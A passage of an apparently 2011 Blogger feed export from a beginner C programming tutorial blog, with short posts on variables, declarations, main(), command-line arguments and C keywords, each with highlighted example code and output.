style="color:#ffffff;"&gt;  &lt;/span&gt;&lt;span style="color:#000000;"&gt;printf&lt;/span&gt;&lt;span style="color:#000000;"&gt;(&lt;/span&gt;&lt;span style="color:#2a00ff;"&gt;"My salary is %d."&lt;/span&gt;&lt;span style="color:#000000;"&gt;, salary&lt;/span&gt;&lt;span style="color:#000000;"&gt;)&lt;/span&gt;&lt;span style="color:#000000;"&gt;;&lt;/span&gt;&lt;br /&gt;&lt;span style="color:#ffffff;"&gt;  &lt;/span&gt;&lt;span style="color:#7f0055;"&gt;&lt;b&gt;return &lt;/b&gt;&lt;/span&gt;&lt;span style="color:#990000;"&gt;0&lt;/span&gt;&lt;span style="color:#000000;"&gt;;&lt;/span&gt;&lt;br /&gt;&lt;span style="color:#000000;"&gt;}&lt;br /&gt;&lt;br /&gt;&lt;span style="font-size:180%;"&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;OUTPUT&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;pre class="codeResult"&gt;My salary is 10000.&lt;/pre&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3313246643998194674-3310263376679840134?l=geekcodes.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3313246643998194674/posts/default/3310263376679840134'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3313246643998194674/posts/default/3310263376679840134'/><link rel='alternate' type='text/html' href='http://geekcodes.blogspot.com/2011/09/using-variable-to-store-value.html' title='Using a variable to store value'/><author><name>zepz</name><uri>http://www.blogger.com/profile/04097554525631283833</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='33' height='26' src='http://2.bp.blogspot.com/_kDKFqsqzl0I/SYFBoti8zUI/AAAAAAAAACA/2wFAzLZyzHs/S220/1.jpg'/></author></entry><entry><id>tag:blogger.com,1999:blog-3313246643998194674.post-3583909518136928573</id><published>2011-09-27T03:40:00.000-07:00</published><updated>2011-09-27T03:41:34.209-07:00</updated><title type='text'>How to declare a variable</title><content type='html'>A variable declaration serves three purposes:&lt;br /&gt;&lt;br /&gt;  1. It defines the name of the variable.&lt;br /&gt;  2. It defines the type of the variable (integer, real, character, etc.).&lt;br /&gt;  3. It gives the programmer a description of the variable.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;div class="codeShade"&gt;&lt;code&gt;&lt;span style="color:#7f0055;"&gt;&lt;b&gt;int &lt;/b&gt;&lt;/span&gt;&lt;span style="color:#000000;"&gt;answer;     &lt;/span&gt;&lt;span style="color:#3f7f5f;"&gt;/* the result of our expression */&lt;/span&gt;&lt;/code&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;   1. The keyword int tells C that this variable contains an integer value.&lt;br /&gt;   2. The variable name is answer.&lt;br /&gt;   3. The semicolon (;) marks the end of the statement.&lt;br /&gt;   4. The comment is used to define this variable for the programmer.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3313246643998194674-3583909518136928573?l=geekcodes.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3313246643998194674/posts/default/3583909518136928573'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3313246643998194674/posts/default/3583909518136928573'/><link rel='alternate' type='text/html' href='http://geekcodes.blogspot.com/2011/09/how-to-declare-variable.html' title='How to declare a variable'/><author><name>zepz</name><uri>http://www.blogger.com/profile/04097554525631283833</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='33' height='26' src='http://2.bp.blogspot.com/_kDKFqsqzl0I/SYFBoti8zUI/AAAAAAAAACA/2wFAzLZyzHs/S220/1.jpg'/></author></entry><entry><id>tag:blogger.com,1999:blog-3313246643998194674.post-5413406834960104784</id><published>2011-09-27T03:35:00.000-07:00</published><updated>2011-09-27T03:38:07.517-07:00</updated><title type='text'>Variables</title><content type='html'>1. You can store values in variables.&lt;br /&gt;  2. Each variable is identified by a variable name.&lt;br /&gt;  3. Each variable has a variable type.&lt;br /&gt;  4. Variable names start with a letter or underscore (_), followed by any number of   letters, digits, or underscores.&lt;br /&gt;  5. Uppercase is different from lowercase, so the names sam, Sam, and SAM specify three different variables.&lt;br /&gt;  6. The variables are defined at the begining of the block.&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 51, 255);"&gt;&lt;span style="font-weight: bold;"&gt;The following is an example of some variable names&lt;/span&gt;:&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;average            /* average of all grades */&lt;br /&gt;&lt;br /&gt;   pi                 /* pi to 6 decimal places */   &lt;br /&gt;&lt;br /&gt;   number_of_students /* number students in this class */&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold; color: rgb(0, 0, 153);"&gt;The following are not variable names:&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;3rd_        /* Begins with a number */&lt;br /&gt;&lt;br /&gt;   all$        /* Contains a "$" */  &lt;br /&gt;&lt;br /&gt;   the end     /* Contains a space */&lt;br /&gt;&lt;br /&gt;   int         /* Reserved word */&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold; color: rgb(51, 51, 255);"&gt;Meaningful variable name:&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;entry_total /* total number of items in current entry */  &lt;br /&gt;&lt;br /&gt;   all_total   /* total of all entries */&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3313246643998194674-5413406834960104784?l=geekcodes.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3313246643998194674/posts/default/5413406834960104784'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3313246643998194674/posts/default/5413406834960104784'/><link rel='alternate' type='text/html' href='http://geekcodes.blogspot.com/2011/09/variables.html' title='Variables'/><author><name>zepz</name><uri>http://www.blogger.com/profile/04097554525631283833</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='33' height='26' src='http://2.bp.blogspot.com/_kDKFqsqzl0I/SYFBoti8zUI/AAAAAAAAACA/2wFAzLZyzHs/S220/1.jpg'/></author></entry><entry><id>tag:blogger.com,1999:blog-3313246643998194674.post-7069980715388526639</id><published>2011-09-27T03:20:00.000-07:00</published><updated>2011-10-05T01:09:26.659-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='language'/><title type='text'>Language</title><content type='html'>&lt;span style="font-size: 130%;"&gt;&lt;span style="color: #33ccff; font-weight: bold;"&gt; &lt;a href="http://geekcodes.blogspot.com/2011/09/php-file-handling.html"&gt;First Program&lt;/a&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: #33ccff; font-weight: bold;"&gt; &lt;a href="http://geekcodes.blogspot.com/2011/09/c-language-keywords.html"&gt;C Language Keywords&lt;/a&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: #33ccff; font-weight: bold;"&gt; &lt;a href="http://geekcodes.blogspot.com/2011/09/main-function-in-c.html"&gt;main function&lt;/a&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt; &lt;a href="http://geekcodes.blogspot.com/2011/09/list-command-line-arguments.html"&gt;Command Line Arguments&lt;/a&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt; &lt;a href="http://geekcodes.blogspot.com/2011/09/variable-declaration.html"&gt;Variable Declaration&lt;/a&gt;&lt;/span&gt;&lt;br /&gt;&lt;a href="http://geekcodes.blogspot.com/2011/09/printing-variable-contents.html"&gt;&lt;span style="font-weight: bold;"&gt;Variable Output&lt;/span&gt;&lt;/a&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt; &lt;a href="http://geekcodes.blogspot.com/2011/09/variable-size-and-limitation.html"&gt;Variable Size and Limitation&lt;/a&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt; &lt;a href="http://geekcodes.blogspot.com/2011/09/variable-scope.html"&gt;Variable Scope&lt;/a&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt; &lt;a href="http://geekcodes.blogspot.com/2011/10/global-variables.html"&gt;Global variables&lt;/a&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt; &lt;a href="http://geekcodes.blogspot.com/2011/10/local-variable-shadows-global-variable.html"&gt;Local variable&lt;/a&gt;&lt;/span&gt;&lt;br /&gt;&lt;a href="http://geekcodes.blogspot.com/2011/10/static-variables.html"&gt;&lt;span style="font-weight: bold;"&gt;static Variables&lt;/span&gt;&lt;/a&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Variable Address&lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Variable Pointer&lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Variable argument lists&lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Comments&lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Convention&lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Header Files&lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;External references&lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;gcc&lt;/span&gt;&lt;br /&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3313246643998194674-7069980715388526639?l=geekcodes.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3313246643998194674/posts/default/7069980715388526639'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3313246643998194674/posts/default/7069980715388526639'/><link rel='alternate' type='text/html' href='http://geekcodes.blogspot.com/2011/09/language.html' title='Language'/><author><name>zepz</name><uri>http://www.blogger.com/profile/04097554525631283833</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='33' height='26' src='http://2.bp.blogspot.com/_kDKFqsqzl0I/SYFBoti8zUI/AAAAAAAAACA/2wFAzLZyzHs/S220/1.jpg'/></author></entry><entry><id>tag:blogger.com,1999:blog-3313246643998194674.post-3640291194679016739</id><published>2011-09-27T00:58:00.000-07:00</published><updated>2011-09-27T03:25:26.237-07:00</updated><title type='text'>C  PROGRAMMING TUTORIAL</title><content type='html'>&lt;table align="right"&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td&gt;&lt;span style="font-weight: bold;font-size:180%;" &gt;&lt;/span&gt;&lt;span style="font-weight: bold;"&gt;&lt;span style="font-size:130%;"&gt;What You Should Already Know&lt;/span&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;C (pronounced like the letter C) is a general-purpose computer programming language developed between 1969 and 1973 by Dennis Ritchie at the Bell Telephone Laboratories for use with the Unix operating system.&lt;br /&gt;&lt;br /&gt;Although C was designed for implementing system software it is also widely used for developing portable application software.&lt;br /&gt;&lt;br /&gt;C is one of the most widely used programming languages of all time and there are very few computer architectures for which a C compiler does not exist. C has greatly influenced many other popular programming languages, most notably C++, which began as an extension to C.&lt;br /&gt;&lt;hr /&gt;&lt;br /&gt;&lt;span style="font-size:130%;"&gt;&lt;span style="font-weight: bold;"&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;/td&gt;&lt;td style="color: rgb(0, 0, 153);" align="left"&gt;&lt;span style="color: rgb(0, 0, 153); font-weight: bold;"&gt;C TUTORIAL&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href="http://geekcodes.blogspot.com/2011/09/language.html" style="color: rgb(0, 0, 153);"&gt;Language&lt;/a&gt;&lt;br /&gt;&lt;a href="http://www.geekcodes.blogspot.com/2011/04/php-installation.html" style="color: rgb(0, 0, 153);"&gt;Data Type&lt;/a&gt;&lt;br /&gt;&lt;a href="http://www.geekcodes.blogspot.com/2011/04/php-syntax.html" style="color: rgb(0, 0, 153);"&gt; String&lt;/a&gt;&lt;br /&gt;&lt;a href="http://www.geekcodes.blogspot.com/2011/04/php-variables.html" style="color: rgb(0, 0, 153);"&gt;Printf scanf&lt;/a&gt;&lt;br /&gt;&lt;a href="http://www.geekcodes.blogspot.com/2011/04/php-string-variables.html" style="color: rgb(0, 0, 153);"&gt;Operator&lt;/a&gt;&lt;br /&gt;&lt;a href="http://www.geekcodes.blogspot.com/2011/04/php-operators.html" style="color: rgb(0, 0, 153);"&gt;Statement&lt;/a&gt;&lt;br /&gt;&lt;a href="http://www.geekcodes.blogspot.com/2011/04/php-operators.html" style="color: rgb(0, 0, 153);"&gt;Operators&lt;/a&gt;&lt;br /&gt;&lt;a href="http://www.geekcodes.blogspot.com/2011/04/php-ifelse-statements.html" style="color: rgb(0, 0, 153);"&gt;Array&lt;/a&gt;&lt;br /&gt;&lt;a href="http://www.geekcodes.blogspot.com/2011/04/information-technology-solutions_15.html" style="color: rgb(0, 0, 153);"&gt;Function&lt;/a&gt;&lt;br /&gt;&lt;a href="http://www.geekcodes.blogspot.com/2011/04/php-arrays.html" style="color: rgb(0, 0, 153);"&gt;Structure&lt;/a&gt;&lt;br /&gt;&lt;a href="http://www.geekcodes.blogspot.com/2011/04/php-looping-while-loops.html" style="color: rgb(0, 0, 153);"&gt;Pointer&lt;/a&gt;&lt;br /&gt;&lt;a href="http://www.geekcodes.blogspot.com/2011/04/php-looping-while-loops.html" style="color: rgb(0, 0, 153);"&gt;Memory&lt;/a&gt;&lt;br /&gt;&lt;a href="http://www.geekcodes.blogspot.com/04/php-looping-for-loops.html"&gt;Preprocessor&lt;/a&gt;&lt;br /&gt;&lt;a href="http://www.geekcodes.blogspot.com/04/php-looping-for-loops.html"&gt;File&lt;/a&gt;&lt;br /&gt;&lt;a href="http://www.geekcodes.blogspot.com/2011/04/php-functions.html"&gt;Data Structure&lt;/a&gt;&lt;br /&gt;&lt;a href="http://www.geekcodes.blogspot.com/2011/04/php-functions.html"&gt;Search Sort&lt;/a&gt;&lt;br /&gt;&lt;a href="http://www.geekcodes.blogspot.com/2011/04/php-forms-and-user-input.html"&gt;WideCharacter assert.h&lt;/a&gt;&lt;br /&gt;&lt;a href="http://www.geekcodes.blogspot.com/2011/04/php-get-function.html"&gt;ctype.h&lt;/a&gt;&lt;br /&gt;&lt;a href="http://www.geekcodes.blogspot.com/2011/04/php-post-function.html"&gt;math.h&lt;/a&gt;&lt;br /&gt;setjmp.h&lt;br /&gt;signal.h&lt;br /&gt;&lt;a href="http://www.geekcodes.blogspot.com/2011/04/php-date-function.html"&gt;stdio.h&lt;/a&gt;&lt;br /&gt;&lt;a href="http://www.geekcodes.blogspot.com/2011/04/php-include-file.html"&gt;stdlib.h&lt;/a&gt;&lt;br /&gt;string.h&lt;br /&gt;time.h&lt;span style="color: rgb(0, 0, 153);"&gt;&lt;/span&gt;&lt;span style="color: rgb(0, 0, 153);"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3313246643998194674-3640291194679016739?l=geekcodes.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3313246643998194674/posts/default/3640291194679016739'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3313246643998194674/posts/default/3640291194679016739'/><link rel='alternate' type='text/html' href='http://geekcodes.blogspot.com/2011/09/c-programming-tutorial.html' title='C  PROGRAMMING TUTORIAL'/><author><name>zepz</name><uri>http://www.blogger.com/profile/04097554525631283833</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='33' height='26' src='http://2.bp.blogspot.com/_kDKFqsqzl0I/SYFBoti8zUI/AAAAAAAAACA/2wFAzLZyzHs/S220/1.jpg'/></author></entry><entry><id>tag:blogger.com,1999:blog-3313246643998194674.post-3333329298266351612</id><published>2011-09-27T00:48:00.000-07:00</published><updated>2011-09-28T04:48:58.203-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='variable declaration'/><title type='text'>Variable Declaration</title><content type='html'>&lt;a style="color: rgb(51, 51, 255);" href="http://geekcodes.blogspot.com/2011/09/variables.html"&gt;&lt;span style="font-weight: bold;"&gt;Variables&lt;/span&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt; &lt;a style="color: rgb(51, 51, 255);" href="http://geekcodes.blogspot.com/2011/09/how-to-declare-variable.html"&gt;How to declare a variable&lt;/a&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt; &lt;a style="color: rgb(51, 51, 255);" href="http://geekcodes.blogspot.com/2011/09/using-variable-to-store-value.html"&gt;Using a variable to store value&lt;/a&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt; &lt;a style="color: rgb(51, 51, 255);" href="http://geekcodes.blogspot.com/2011/09/initialize-int-value-in-declaration.html"&gt;Initialize int value in declaration &lt;/a&gt;&lt;/span&gt;&lt;br /&gt;&lt;a style="color: rgb(51, 51, 255);" href="http://geekcodes.blogspot.com/2011/09/meaningful-variable-name.html"&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt; Meaningful variable name&lt;/span&gt;&lt;/a&gt;&lt;br /&gt;&lt;a style="color: rgb(51, 51, 255);" href="http://geekcodes.blogspot.com/2011/09/define-three-variables-and-use.html"&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;        Define three variables and use assignment operator to assign value&lt;/span&gt;&lt;/a&gt;&lt;br /&gt;&lt;a style="color: rgb(51, 51, 255);" href="http://geekcodes.blogspot.com/2011/09/use-printf-to-output-variable.html"&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt; Use printf to output variable&lt;/span&gt;&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3313246643998194674-3333329298266351612?l=geekcodes.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3313246643998194674/posts/default/3333329298266351612'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3313246643998194674/posts/default/3333329298266351612'/><link rel='alternate' type='text/html' href='http://geekcodes.blogspot.com/2011/09/variable-declaration.html' title='Variable Declaration'/><author><name>zepz</name><uri>http://www.blogger.com/profile/04097554525631283833</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='33' height='26' src='http://2.bp.blogspot.com/_kDKFqsqzl0I/SYFBoti8zUI/AAAAAAAAACA/2wFAzLZyzHs/S220/1.jpg'/></author></entry><entry><id>tag:blogger.com,1999:blog-3313246643998194674.post-1317295424268520023</id><published>2011-09-27T00:47:00.000-07:00</published><updated>2011-09-27T00:48:37.077-07:00</updated><title type='text'>List the command line arguments</title><content type='html'>&lt;div class="codeShade"&gt;&lt;code&gt;&lt;span style="color:#000000;"&gt;#include &lt;stdio.h&gt;&lt;/stdio.h&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color:#7f0055;"&gt;&lt;b&gt;int &lt;/b&gt;&lt;/span&gt;&lt;span style="color:#000000;"&gt;main&lt;/span&gt;&lt;span style="color:#000000;"&gt;(&lt;/span&gt;&lt;span style="color:#7f0055;"&gt;&lt;b&gt;int &lt;/b&gt;&lt;/span&gt;&lt;span style="color:#000000;"&gt;argc, &lt;/span&gt;&lt;span style="color:#7f0055;"&gt;&lt;b&gt;char &lt;/b&gt;&lt;/span&gt;&lt;span style="color:#000000;"&gt;*argv&lt;/span&gt;&lt;span style="color:#000000;"&gt;[])&lt;/span&gt;&lt;br /&gt;&lt;span style="color:#000000;"&gt;{&lt;/span&gt;&lt;br /&gt;&lt;span style="color:#ffffff;"&gt;  &lt;/span&gt;&lt;span style="color:#000000;"&gt;printf&lt;/span&gt;&lt;span style="color:#000000;"&gt;(&lt;/span&gt;&lt;span style="color:#2a00ff;"&gt;"Program name: %s\n"&lt;/span&gt;&lt;span style="color:#000000;"&gt;, argv&lt;/span&gt;&lt;span style="color:#000000;"&gt;[&lt;/span&gt;&lt;span style="color:#990000;"&gt;0&lt;/span&gt;&lt;span style="color:#000000;"&gt;])&lt;/span&gt;&lt;span style="color:#000000;"&gt;;&lt;/span&gt;&lt;br /&gt;&lt;span style="color:#ffffff;"&gt;  &lt;/span&gt;&lt;span style="color:#7f0055;"&gt;&lt;b&gt;int &lt;/b&gt;&lt;/span&gt;&lt;span style="color:#000000;"&gt;i;&lt;/span&gt;&lt;br /&gt;&lt;span style="color:#ffffff;"&gt;  &lt;/span&gt;&lt;span style="color:#7f0055;"&gt;&lt;b&gt;for&lt;/b&gt;&lt;/span&gt;&lt;span style="color:#000000;"&gt;(&lt;/span&gt;&lt;span style="color:#000000;"&gt;i = &lt;/span&gt;&lt;span style="color:#990000;"&gt;1 &lt;/span&gt;&lt;span style="color:#000000;"&gt;; i&lt;argc&gt;&lt;/argc&gt;&lt;/span&gt;&lt;span style="color:#000000;"&gt;)&lt;/span&gt;&lt;br /&gt;&lt;span style="color:#ffffff;"&gt;    &lt;/span&gt;&lt;span style="color:#000000;"&gt;printf&lt;/span&gt;&lt;span style="color:#000000;"&gt;(&lt;/span&gt;&lt;span style="color:#2a00ff;"&gt;"\nArgument %d: %s"&lt;/span&gt;&lt;span style="color:#000000;"&gt;, i, argv&lt;/span&gt;&lt;span style="color:#000000;"&gt;[&lt;/span&gt;&lt;span style="color:#000000;"&gt;i&lt;/span&gt;&lt;span style="color:#000000;"&gt;])&lt;/span&gt;&lt;span style="color:#000000;"&gt;;&lt;/span&gt;&lt;br /&gt;&lt;span style="color:#ffffff;"&gt;  &lt;/span&gt;&lt;span style="color:#7f0055;"&gt;&lt;b&gt;return &lt;/b&gt;&lt;/span&gt;&lt;span style="color:#990000;"&gt;0&lt;/span&gt;&lt;span style="color:#000000;"&gt;;&lt;/span&gt;&lt;br /&gt;&lt;span style="color:#000000;"&gt;}&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;---------------&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;/code&gt;&lt;pre class="codeResult"&gt;Program name: c:/java_dev/web/dev/c/main.exe&lt;/pre&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3313246643998194674-1317295424268520023?l=geekcodes.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3313246643998194674/posts/default/1317295424268520023'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3313246643998194674/posts/default/1317295424268520023'/><link rel='alternate' type='text/html' href='http://geekcodes.blogspot.com/2011/09/list-command-line-arguments.html' title='List the command line arguments'/><author><name>zepz</name><uri>http://www.blogger.com/profile/04097554525631283833</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='33' height='26' src='http://2.bp.blogspot.com/_kDKFqsqzl0I/SYFBoti8zUI/AAAAAAAAACA/2wFAzLZyzHs/S220/1.jpg'/></author></entry><entry><id>tag:blogger.com,1999:blog-3313246643998194674.post-2280514224196631627</id><published>2011-09-27T00:45:00.000-07:00</published><updated>2011-09-27T03:31:17.641-07:00</updated><title type='text'>main() function in C</title><content type='html'>In all C programs, the starting point is the main() function.&lt;br /&gt;&lt;br /&gt;Every C program has one.&lt;br /&gt;&lt;br /&gt;&lt;div class="codeShade"&gt;&lt;code&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;#include &lt;stdio.h&gt;&lt;/stdio.h&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 255, 255);"&gt;  &lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(127, 0, 85);"&gt;&lt;b&gt;int &lt;/b&gt;&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;main&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;()&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;{&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 255, 255);"&gt;    &lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;printf&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;(&lt;/span&gt;&lt;span style="color: rgb(42, 0, 255);"&gt;"Goodbye!\n"&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;)&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 255, 255);"&gt;    &lt;/span&gt;&lt;span style="color: rgb(127, 0, 85);"&gt;&lt;b&gt;return&lt;/b&gt;&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;(&lt;/span&gt;&lt;span style="color: rgb(153, 0, 0);"&gt;0&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;)&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;}&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-size:180%;"&gt;&lt;span style="font-weight: bold;"&gt;OUTPUT&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;pre class="codeResult"&gt;Goodbye!&lt;/pre&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3313246643998194674-2280514224196631627?l=geekcodes.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3313246643998194674/posts/default/2280514224196631627'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3313246643998194674/posts/default/2280514224196631627'/><link rel='alternate' type='text/html' href='http://geekcodes.blogspot.com/2011/09/main-function-in-c.html' title='main() function in C'/><author><name>zepz</name><uri>http://www.blogger.com/profile/04097554525631283833</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='33' height='26' src='http://2.bp.blogspot.com/_kDKFqsqzl0I/SYFBoti8zUI/AAAAAAAAACA/2wFAzLZyzHs/S220/1.jpg'/></author></entry><entry><id>tag:blogger.com,1999:blog-3313246643998194674.post-1570221405303130662</id><published>2011-09-27T00:42:00.000-07:00</published><updated>2011-09-27T00:45:52.717-07:00</updated><title type='text'>C Language Keywords</title><content type='html'>&lt;div class="codeShade"&gt;&lt;code&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;auto        &lt;/span&gt;&lt;span style="color: rgb(127, 0, 85);"&gt;&lt;b&gt;double       int             &lt;/b&gt;&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;struct&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(127, 0, 85);"&gt;&lt;b&gt;break       else          &lt;/b&gt;&lt;/span&gt;&lt;span style="color: rgb(127, 0, 85);"&gt;&lt;b&gt;long            &lt;/b&gt;&lt;/span&gt;&lt;span style="color: rgb(127, 0, 85);"&gt;&lt;b&gt;switch&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(127, 0, 85);"&gt;&lt;b&gt;case         enum         &lt;/b&gt;&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;register      typedef&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(127, 0, 85);"&gt;&lt;b&gt;char         &lt;/b&gt;&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;extern      &lt;/span&gt;&lt;span style="color: rgb(127, 0, 85);"&gt;&lt;b&gt;return         &lt;/b&gt;&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;union&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(127, 0, 85);"&gt;&lt;b&gt;const        &lt;/b&gt;&lt;/span&gt;&lt;span style="color: rgb(127, 0, 85);"&gt;&lt;b&gt;float         short           &lt;/b&gt;&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;unsigned&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(127, 0, 85);"&gt;&lt;b&gt;continue    for          &lt;/b&gt;&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;signed         &lt;/span&gt;&lt;span style="color: rgb(127, 0, 85);"&gt;&lt;b&gt;void&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(127, 0, 85);"&gt;&lt;b&gt;default      goto         &lt;/b&gt;&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;sizeof         &lt;/span&gt;&lt;span style="color: rgb(127, 0, 85);"&gt;&lt;b&gt;volatile&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(127, 